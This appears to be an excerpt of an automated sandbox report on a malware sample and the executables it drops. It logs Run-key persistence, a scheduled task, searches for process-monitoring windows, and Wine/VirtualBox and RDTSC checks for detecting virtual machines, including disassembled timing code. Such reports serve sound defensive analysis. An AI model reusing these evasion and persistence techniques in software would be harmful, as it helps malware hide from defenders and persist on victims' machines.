Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF545 second address: 9CED82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF018BAC39Bh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+122D3488h], edx 0x00000014 push dword ptr [ebp+122D0489h] 0x0000001a jmp 00007FF018BAC3A8h 0x0000001f call dword ptr [ebp+122D32CAh] 0x00000025 pushad 0x00000026 jo 00007FF018BAC39Dh 0x0000002c xor eax, eax 0x0000002e sub dword ptr [ebp+122D321Dh], esi 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 pushad 0x00000039 pushad 0x0000003a push edi 0x0000003b pop edi 0x0000003c jmp 00007FF018BAC3A8h 0x00000041 popad 0x00000042 jmp 00007FF018BAC3A0h 0x00000047 popad 0x00000048 mov dword ptr [ebp+122D2D52h], eax 0x0000004e jnc 00007FF018BAC39Ch 0x00000054 mov esi, 0000003Ch 0x00000059 clc 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e add dword ptr [ebp+122D3718h], edi 0x00000064 lodsw 0x00000066 ja 00007FF018BAC397h 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 pushad 0x00000071 or dword ptr [ebp+122D2F98h], ebx 0x00000077 cld 0x00000078 popad 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d clc 0x0000007e nop 0x0000007f push ecx 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED82 second address: 9CED86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED86 second address: 9CED92 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3622B second address: B36261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FF018B87193h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007FF018B87186h 0x00000014 jmp 00007FF018B87193h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36261 second address: B36267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36267 second address: B3626D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3626D second address: B36288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF018BAC3A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44743 second address: B44747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B448BC second address: B448C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44DAD second address: B44DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48A7A second address: B48AC9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1DDDh], edx 0x0000000e sub dword ptr [ebp+122D1EAEh], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FF018BAC398h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov esi, dword ptr [ebp+122D3AA6h] 0x00000036 call 00007FF018BAC399h 0x0000003b jbe 00007FF018BAC3A0h 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 rdtsc
